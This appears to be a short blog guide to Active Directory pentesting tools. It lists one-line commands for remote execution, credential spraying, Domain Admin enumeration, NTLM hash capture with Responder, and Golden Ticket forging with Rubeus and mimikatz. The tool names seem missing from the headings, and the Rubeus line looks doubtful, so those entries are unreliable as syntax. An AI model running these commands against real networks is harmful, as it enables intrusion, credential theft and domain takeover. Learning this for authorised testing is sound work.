Active Directory (AD) is the core of enterprise networks. Pentesting AD allows defenders to find vulnerabilities before attackers do. In this guide, we’ll explore the best tools for AD Pentesting — with easy examples!

📦 Python toolkit for network tasks like enumeration and RCE.

Example: Remote Command Execution using psexec.py

python3 psexec.py DOMAIN/username:password@target_ip

✅ Helps find if credentials can be misused!

🔑 Extract passwords, hashes, Kerberos tickets from memory.

Example: Dumping NTLM hashes.

🕵️ Visualize how attackers can move through AD.

Example: Find privilege escalation paths.

📊 Harvests AD information: users, sessions, groups.

Best Practice: Scan for overprivileged accounts.

🛠️ Validate credentials, enumerate SMB shares, lateral movement.

crackmapexec smb 192.168.1.0/24 -u username -p password

🥔 SMB privilege escalation tools.

Use case: Test if a user can escalate to local admin.

🎟️ Simulate Pass-the-Ticket, Golden Ticket attacks.

Example: Using Impacket to pass a ticket.

⚡ Enumerate AD users, groups, and permissions.

Get-NetGroupMember -Group "Domain Admins"

 PowerView pulling user info from AD

📄 Query AD without heavy tools.

Example: Find Domain Admins via AdFind.

adfind -b "dc=domain,dc=com" "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com))"

🔥 Dump, request, forge Kerberos tickets.

Example: Golden Ticket creation with Rubeus.

Rubeus.exe tgt /user:Administrator /rc4:<krbtgt_hash> /domain:<domain> /sid:<domain_SID>

 Rubeus forging and using tickets

🌐 Scan ports, SMB shares, vulnerabilities.

nmap -p 445 --script smb-enum-shares <target_ip>

 Nmap scanning AD network

🎣 Capture NTLM hashes via LLMNR/NBT-NS poisoning.

responder -I eth0
Responder capturing hashes

💳 Impersonate any user (Golden) or specific services (Silver).

mimikatz # kerberos::golden /user:Administrator /rc4:<krbtgt_hash> /domain:<domain> /sid:<domain_SID>

Practice ethically and keep learning to strengthen Active Directory security!